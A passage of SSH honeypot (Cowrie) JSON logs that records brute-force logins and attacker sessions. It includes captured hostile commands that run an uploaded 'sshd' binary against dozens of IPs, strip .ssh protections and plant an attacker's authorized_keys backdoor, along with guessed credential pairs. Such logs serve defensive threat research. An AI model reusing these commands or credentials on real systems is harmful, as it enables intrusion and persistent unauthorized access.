16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:42:41.127352Z","src_ip":"2.57.122.210","session":"53bbf9852bf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1","message":"login attempt [solana/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:42:41.424798Z","src_ip":"2.57.122.210","session":"53bbf9852bf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:42:42.525605Z","src_ip":"2.57.122.210","session":"53bbf9852bf5","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"sshd","outfile":"var/lib/cowrie/downloads/94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00","shasum":"94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00","message":"SFTP Uploaded file \"sshd\" to var/lib/cowrie/downloads/94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:42:44.327708Z","src_ip":"43.162.107.16","session":"f23e11bf1395","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:42:44.570018Z","src_ip":"43.162.107.16","session":"f23e11bf1395","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"chmod +x ./.1149131212410361732/sshd;nohup ./.1149131212410361732/sshd 50.6.228.134 156.227.232.239 103.231.253.70 167.86.84.93 193.233.127.72 161.129.211.63 186.237.98.23 221.178.246.21 117.138.112.7 183.224.79.111 221.6.122.67 115.231.161.253 159.89.239.6 182.43.19.187 41.111.172.2 43.224.248.178 158.51.96.38 177.10.201.11 107.189.1.154 115.68.217.228 153.37.175.26 47.85.14.117 182.44.116.87 103.61.122.229 36.137.79.219 46.101.107.202 138.197.84.1 156.236.75.216 107.174.1.138 180.130.103.80 106.119.154.53 198.46.253.100 50.6.229.52 106.13.57.206 134.122.155.131 103.236.90.80 159.203.120.106 122.228.62.156 51.250.70.59 41.93.28.4 210.16.103.246 69.87.207.133 50.6.231.130 104.129.51.144 47.236.251.100 118.193.39.91 117.173.221.93 42.51.49.239 46.202.208.110 61.160.233.111 172.245.43.228 &","message":"CMD: chmod +x ./.1149131212410361732/sshd;nohup ./.1149131212410361732/sshd 50.6.228.134 156.227.232.239 103.231.253.70 167.86.84.93 193.233.127.72 161.129.211.63 186.237.98.23 221.178.246.21 117.138.112.7 183.224.79.111 221.6.122.67 115.231.161.253 159.89.239.6 182.43.19.187 41.111.172.2 43.224.248.178 158.51.96.38 177.10.201.11 107.189.1.154 115.68.217.228 153.37.175.26 47.85.14.117 182.44.116.87 103.61.122.229 36.137.79.219 46.101.107.202 138.197.84.1 156.236.75.216 107.174.1.138 180.130.103.80 106.119.154.53 198.46.253.100 50.6.229.52 106.13.57.206 134.122.155.131 103.236.90.80 159.203.120.106 122.228.62.156 51.250.70.59 41.93.28.4 210.16.103.246 69.87.207.133 50.6.231.130 104.129.51.144 47.236.251.100 118.193.39.91 117.173.221.93 42.51.49.239 46.202.208.110 61.160.233.111 172.245.43.228 &","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:42:44.573167Z","src_ip":"43.162.107.16","session":"f23e11bf1395","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/15323699423ad429d70f09333dcb191403b8efaa445ee2271b2533ad3c9097c4","size":136,"shasum":"15323699423ad429d70f09333dcb191403b8efaa445ee2271b2533ad3c9097c4","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/15323699423ad429d70f09333dcb191403b8efaa445ee2271b2533ad3c9097c4 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:42:44.643763Z","src_ip":"43.162.107.16","session":"f23e11bf1395","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"63.2","message":"Connection lost after 63.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:42:44.648277Z","src_ip":"43.162.107.16","session":"f23e11bf1395","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":32062,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd05ac01f4f0","protocol":"ssh","message":"New connection: 2.57.121.25:32062 (10.17.0.5:22) [session: fd05ac01f4f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:42:58.134442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:42:58.139440Z","src_ip":"2.57.121.25","session":"fd05ac01f4f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:42:58.241333Z","src_ip":"2.57.121.25","session":"fd05ac01f4f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"sachin","message":"login attempt [user/sachin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:42:58.716713Z","src_ip":"2.57.121.25","session":"fd05ac01f4f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"saab900","message":"login attempt [user/saab900] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:42:59.820768Z","src_ip":"2.57.121.25","session":"fd05ac01f4f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"rudolph","message":"login attempt [user/rudolph] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:00.923196Z","src_ip":"2.57.121.25","session":"fd05ac01f4f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"ruben","message":"login attempt [user/ruben] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:02.033073Z","src_ip":"2.57.121.25","session":"fd05ac01f4f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"rowdy","message":"login attempt [user/rowdy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:03.139230Z","src_ip":"2.57.121.25","session":"fd05ac01f4f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.166.242.149","src_port":35754,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b32d8538097","protocol":"ssh","message":"New connection: 43.166.242.149:35754 (159.203.135.109:22) [session: 3b32d8538097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:03.691381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:03.696433Z","src_ip":"43.166.242.149","session":"3b32d8538097","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:03.706224Z","src_ip":"43.166.242.149","session":"3b32d8538097","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"iso939it2024+_","message":"login attempt [root/iso939it2024+_] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:03.778641Z","src_ip":"43.166.242.149","session":"3b32d8538097","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:03.849660Z","src_ip":"43.166.242.149","session":"3b32d8538097","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:03.853008Z","src_ip":"43.166.242.149","session":"3b32d8538097","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:03.856702Z","src_ip":"43.166.242.149","session":"3b32d8538097","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:04.098406Z","src_ip":"43.166.242.149","session":"3b32d8538097","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:04.159182Z","src_ip":"43.166.242.149","session":"3b32d8538097","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:04.162913Z","src_ip":"43.166.242.149","session":"3b32d8538097","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:04.178288Z","src_ip":"43.166.242.149","session":"3b32d8538097","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:04.181957Z","src_ip":"43.166.242.149","session":"3b32d8538097","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.166.242.149","src_port":35762,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0039a21228c","protocol":"ssh","message":"New connection: 43.166.242.149:35762 (159.203.135.109:22) [session: f0039a21228c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:04.187676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:04.191926Z","src_ip":"43.166.242.149","session":"f0039a21228c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:04.202108Z","src_ip":"43.166.242.149","session":"f0039a21228c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:04.271852Z","src_ip":"2.57.121.25","session":"fd05ac01f4f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:04.492312Z","src_ip":"43.166.242.149","session":"f0039a21228c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:05.505761Z","src_ip":"43.166.242.149","session":"f0039a21228c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.166.242.149","src_port":35818,"dst_ip":"159.203.135.109","dst_port":22,"session":"6625d719a3af","protocol":"ssh","message":"New connection: 43.166.242.149:35818 (159.203.135.109:22) [session: 6625d719a3af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:05.511867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:05.515519Z","src_ip":"43.166.242.149","session":"6625d719a3af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:05.618038Z","src_ip":"43.166.242.149","session":"6625d719a3af","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:05.648340Z","src_ip":"43.166.242.149","session":"6625d719a3af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:05.660127Z","src_ip":"43.166.242.149","session":"3b32d8538097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:05.664220Z","src_ip":"43.166.242.149","session":"6625d719a3af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":59120,"dst_ip":"159.203.135.109","dst_port":22,"session":"22cc214489e4","protocol":"ssh","message":"New connection: 195.178.110.218:59120 (159.203.135.109:22) [session: 22cc214489e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:38.736297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:38.741295Z","src_ip":"195.178.110.218","session":"22cc214489e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:38.821431Z","src_ip":"195.178.110.218","session":"22cc214489e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:39.060104Z","src_ip":"195.178.110.218","session":"22cc214489e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:43:40.142498Z","src_ip":"195.178.110.218","session":"22cc214489e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":42418,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a0bba37faaf","protocol":"ssh","message":"New connection: 2.57.122.210:42418 (10.17.0.5:22) [session: 5a0bba37faaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:44:52.051394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:44:52.059031Z","src_ip":"2.57.122.210","session":"5a0bba37faaf","protocol":"ssh"}
